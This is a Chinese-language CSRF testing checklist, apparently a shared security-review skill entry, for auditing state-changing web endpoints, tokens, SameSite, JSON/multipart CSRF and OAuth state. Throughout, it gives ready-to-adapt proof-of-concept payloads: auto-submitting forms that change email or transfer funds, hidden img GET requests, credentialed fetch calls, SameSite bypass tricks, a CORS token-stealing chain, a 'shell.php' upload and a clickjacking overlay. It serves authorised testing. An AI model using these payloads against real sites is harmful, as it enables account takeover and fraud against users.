其他
审查状态变更 Web 流程、反 CSRF 防御…
在评审或测试 Web 应用状态变更端点、CSRF token、SameSite、JSON/multipart CSRF、登录 CSRF 与 OAuth state 时,按此清单寻找并验证跨站请求伪造与绕过面。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 59/100 ×0.15
适用场景
审查状态变更 Web 流程、反 CSRF通用
解决思路
- 当 JSON 端点变得可跨域读取时,同时加载 CORS 跨域错误配置检查;当登录、账户关联或回调绑定依赖 OAuth state 时,同时加载 OAuth/OIDC 配置错误检查。
- 确认 CSRF 成立所需条件:受害者已认证且存在活跃会话 cookie;服务器仅通过 cookie 标识会话且无二次检查;攻击者能预测或构造有效请求;cookie 会跨域发送(SameSite=None 或旧行为)。
- 枚举高价值状态变更端点:密码修改、邮箱修改、添加管理员/改角色、银行/支付转账、OAuth 应用授权、账户删除、禁用双因素认证、添加 SSH key/API key、Webhook 配置、个人资料/联系信息更新。
- 无 token 情况:检查 POST /change-email 等请求是否存在 CSRF token;若表单完全缺少 token,则直接构造跨站请求利用。
- token 未校验(最常见):移除 _csrf_token 参数后重放请求;若请求仍成功,则存在 trivial bypass。
- token 绑定会话但不绑定用户:以 UserA 登录取得有效 CSRF token;另以 UserB 登录取得 UserB token;在 UserA 会话中使用 UserB 的 token;若服务器只验证 token 存在但不检查是否属于当前会话,则绕过。
- token 仅放在 cookie:若服务器把 CSRF token 设为 cookie 并期望 header/form 回传,尝试通过子域 cookie tossing 设置 csrf=ATTACKER_CONTROLLED;用已知 token 同时提交 header 和 cookie;若服务器只比较二者相等则绕过。
- 静态或可预测 token:检查是否所有用户/会话共用同一 token;检查 token 是否为 base64(username) 或 md5(session_id) 等可逆值;检查 token 是否为 timestamp 等可预测值。
- Double submit cookie 模式在信任子域时损坏:若可通过子域 XSS 或 cookie tossing 写入 .target.com 的 cookie,设置 csrf_cookie=CONTROLLED;提交请求时带 X-CSRF-Token: CONTROLLED;若服务器检查 header == cookie 且匹配,则绕过。
- 理解 SameSite=Lax 行为:现代浏览器默认下,顶级 GET 导航会发送 cookie,跨站 iframe/form POST 不发送。
- 通过 GET 方法绕过 SameSite=Lax:若服务器允许 GET 执行状态变更,使用 <img src=https://target.com/account/delete?confirm=yes> 或 document.location = 'https://target.com/transfer?to=attacker&amount=1000'。
- 通过子域 XSS 绕过 SameSite=Lax/Strict:在 sub.target.com 上存在 XSS 时,利用同站来源发送 SameSite cookie;以 XSS 为跳板执行 window.location = 'https://target.com/account/modify?evil=true'。
- SameSite=None(旧行为或显式设置):cookie 会在所有跨站请求中发送,经典 CSRF 适用。
- 利用 Lax+POST 2 分钟例外:Chrome 对最近 2 分钟内设置的 Lax cookie 会在跨站 POST 中发送(用于 OAuth 流程);在设置新 cookie 后 2 分钟内立即触发 CSRF 竞态。
- 简单表单 POST PoC:创建 form action=https://target.com/account/email/change method=POST,隐藏 input email=attacker@evil.com 与 confirm_email=attacker@evil.com,并用 script 调用 document.getElementById('csrf').submit()。
- 自动提交 PoC:用 body onload=document.forms[0].submit(),form action=https://target.com/transfer method=POST,input to=attacker_account、amount=10000。
- GET 型 CSRF PoC:用 <img src=https://target.com/api/v1/admin/delete-user?id=12345 style=display:none>。
- 带自定义头的 CSRF:若 API 要求 X-CSRF-Token 等自定义头但接受 JSON 且 CORS 配置错误,使用 XHR 设置 Content-Type: application/json、withCredentials=true,并发送 JSON;若 Access-Control-Allow-Origin: * 且带 credentials,则防护失效。
- JSON CSRF:当端点接受 Content-Type: application/json 时,用 fetch 设置 method=POST、credentials='include'、headers={'Content-Type':'application/json'}、body=JSON.stringify({email:'attacker@evil.com'});需要 Access-Control-Allow-Origin: https://attacker.com 且 Access-Control-Allow-Credentials: true。
- JSON CSRF 无 CORS 时:若服务器只接受 application/json,HTML form 无法直接发送;尝试 Content-Type Downgrade:用 form enctype=text/plain,构造 input name='{"email":"attacker@evil.com","ignore":"' value='"}',若服务器把 text/plain body 当 JSON 解析,则 body 变为 {"email":"attacker@evil.com","ignore":"="}。
- Multipart CSRF:当把 Content-Type 从 application/json 改为 multipart/form-data 后请求仍工作,使用 form method=POST action=https://target.com/api/update enctype=multipart/form-data 并提交 email=attacker@evil.com。
- CSRF+XSS 组合:当 CSRF 防护较强时,用 XSS 从 DOM 读取 token,例如 document.querySelector('input[name="csrf_token"]').value;再用 XHR POST /account/delete,Content-Type application/x-www-form-urlencoded,send('confirm=yes&csrf_token=' + token)。
- OAuth CSRF(缺 state):攻击者发起 OAuth 流程取得 authorization code;在交换 code 前停止流程并捕获带 code 的重定向 URL;向受害者发送 https://target.com/oauth/callback?code=ATTACKER_CODE;受害者浏览器交换攻击者 code,导致受害者账户链接到攻击者 OAuth provider,攻击者可以受害者身份登录。
- CSRF 测试清单:移除 CSRF token 后重放,观察请求是否成功。
- CSRF 测试清单:把 CSRF token 改为随机值后重放,观察请求是否成功。
- CSRF 测试清单:使用另一个用户会话的 CSRF token 重放,观察请求是否成功。
- CSRF 测试清单:检查 POST 端点是否存在对应 GET 版本。
- CSRF 测试清单:检查 session cookie 的 SameSite 属性。
- CSRF 测试清单:测试 Content-Type 从 json 改为 form 再改为 text/plain 后是否仍被处理。
- CSRF 测试清单:检查 CORS 策略是否出现 Access-Control-Allow-Credentials: true,且 Origin 为通配符或攻击者 origin;若是,则可利用 JSON CSRF。
- CSRF 测试清单:检查 OAuth 流程是否缺少 state 参数。
- CSRF 测试清单:测试基于 Referer 的保护,发送不带 Referer header 的请求。
- CSRF 测试清单:测试基于 Referer 的保护,在 Referer 中伪造子域。
- JSON CSRF Method 1 text/plain Disguise:用 form action=https://target.com/api/role method=POST enctype=text/plain,隐藏 input name='{"role":"admin","ignore":"' value='"}';若服务器不严格检查 Content-Type 并解析 JSON,body 变为 {"role":"admin","ignore":"="}。
- JSON CSRF Method 2 XHR with Credentials:使用 XHR open('POST','https://target.com/api/role',true)、withCredentials=true、setRequestHeader('Content-Type','application/json')、send('{"role":"admin"}');仅在 CORS 允许该 origin(错误配置 CORS + CSRF 组合)时有效。
- JSON CSRF Method 3 fetch() API:使用 fetch('https://target.com/api/role', {method:'POST', credentials:'include', headers:{'Content-Type':'text/plain'}, body:'{"role":"admin"}'})。
- Multipart 文件上传 CSRF:使用 FormData append file=new Blob(['malicious content'], {type:'text/plain'}), 'shell.php',append action='upload';再 fetch('https://target.com/upload', {method:'POST', credentials:'include', body:formData})。
- CSPT2CSRF:正常流程前端 fetch /api/user/PROFILE_ID/settings;将 PROFILE_ID 设为 ../../admin/dangerous-action;使前端 fetch 命中 /api/admin/dangerous-action 并携带受害者 cookies,将客户端路径遍历转成无需 CSRF token 的 CSRF-like 攻击。
- CSPT2CSRF 检测差异:Origin 为同源 JavaScript;不需伪造 token;可绕过 SameSite=Strict(同站);检测时需要对路径段做输入验证。
- SameSite=Lax 高级绕过 13.1:利用 Chrome Lax+POST 例外;先用 window.open('https://target.com/login') 强制受害者访问目标以设置新 cookie;在 2 分钟内用 setTimeout 约 5000ms 创建 form method=POST action=https://target.com/account/change-email,input email=attacker@evil.com,然后提交。
- SameSite=Lax 高级绕过 13.2:从攻击页发起 302 redirect chain 到 https://target.com/transfer?to=attacker&amount=1000;浏览器作为顶级 GET 导航跟随重定向,Lax cookie 会发送;若目标接受 GET 执行状态变更,则 CSRF 成功。
- SameSite=Lax 高级绕过 13.3:测试方法覆盖,把 POST 伪装成 GET;发送 GET /account/delete?_method=DELETE&confirm=yes HTTP/1.1 或 GET /transfer?_method=POST&to=attacker&amount=1000 HTTP/1.1;尝试触发方法覆盖的 header:X-HTTP-Method-Override: POST、X-Method-Override: DELETE、_method=PUT(Rails、Laravel、Symfony);SameSite=Lax 允许 GET,框架按 POST/DELETE 处理,从而攻击“仅 POST”端点。
- 高级 JSON CSRF 14.1(旧版 Flash):Flash pre-2021 可跨域发送任意 Content-Type header 且无 preflight;使用 URLRequest 设置 method=POST、contentType=application/json、data='{"role":"admin"}',再 navigateToURL(req);对旧内部应用仍可能相关。
- 高级 JSON CSRF 14.2 fetch() no-cors 限制与绕过:no-cors 模式可发简单请求但不能设置 Content-Type: application/json(会触发 preflight)或读取响应;若服务器接受 text/plain body 并解析为 JSON,使用 fetch('https://target.com/api/role', {method:'POST', mode:'no-cors', credentials:'include', headers:{'Content-Type':'text/plain'}, body:'{"role":"admin"}'})。
- 高级 JSON CSRF 14.3 将 JSON 编码为 form-urlencoded:有些后端同时接受两种 content type;用普通 form action=https://target.com/api/role method=POST,input role=admin、user_id=123;若服务器处理 role=admin&user_id=123 与 {"role":"admin","user_id":123} 相同,则可无 CORS preflight 进行 CSRF。
- CSRF+CORS 错误配置链 Reflected Origin + Credentials:目标 API 反射 Origin 到 Access-Control-Allow-Origin 且 Access-Control-Allow-Credentials: true;攻击页从 https://evil.com 发送 credentialed fetch();若响应可读,则提取 CSRF token;再用有效 token 发起第二次请求,绕过所有 CSRF 防护。
- CSRF+CORS 错误配置链示例:用 fetch('https://target.com/api/profile', {credentials:'include'}) 读取 JSON,取 data.csrf_token;再 fetch('https://target.com/api/change-email', {method:'POST', credentials:'include', headers:{'Content-Type':'application/json','X-CSRF-Token':data.csrf_token}, body:JSON.stringify({email:'attacker@evil.com'})})。
- 子域 XSS→CORS→CSRF:若 *.target.com 在 CORS allowlist 且任意子域有 XSS;先利用 blog.target.com 的 XSS;从 XSS 上下文 fetch api.target.com(CORS 允许子域);从响应读取 CSRF token;再用有效 token 提交状态变更请求。
- CSRF token fixation(会话前 token):若 CSRF token 在认证前发放且登录后仍有效;攻击者访问 target.com 获得 token T1;通过子域 cookie tossing 或 CRLF injection 设置 csrf_cookie,强制受害者浏览器使用 T1;受害者登录后 token 不变;攻击者用已知 T1 提交 CSRF 请求并成功。
- CSRF token fixation 测试过程:以未认证用户获得 CSRF token;登录;检查 token 是否变化;若未变化,则存在 token fixation;用 pre-auth token 对已认证端点构造 CSRF PoC。
- Clickjacking 作为 CSRF 绕过:当 CSRF 防护强但缺少 X-Frame-Options / frame-ancestors;确认目标页面可被 framed;创建透明 iframe overlay;让受害者看到攻击者内容并点击,点击落在隐藏 iframe 中的目标操作按钮;点击源自同源 iframe,从而绕过 CSRF token。
- Clickjacking PoC:创建 position:relative 容器,iframe src=https://target.com/account/settings 设置 opacity:0.0001、position:absolute、top:0、left:0、width:500px、height:500px、z-index:2;再放一个 button 显示“Click to claim prize!”并设 z-index:1,覆盖在目标按钮位置。
- Clickjacking 防御检查:检查是否返回 X-Frame-Options: DENY 或 SAMEORIGIN;检查 CSP 是否设置 frame-ancestors 'self' 或 frame-ancestors 'none';若都没有,则可能存在 clickjacking,并通过 iframe 绕过 CSRF。
适用边界 · 注意事项
- 目标没有基于 cookie 的活跃会话,或所有状态变更都需要非 cookie 二次认证(如密码、OTP、硬件密钥)时,经典 CSRF 不适用。
- 仅测试只读端点或无状态 API 没有意义,因为 CSRF 需要状态变更。
- 若认证完全依赖不会自动随跨站请求发送的 Bearer token,且没有 cookie 会话,则经典 CSRF 不适用。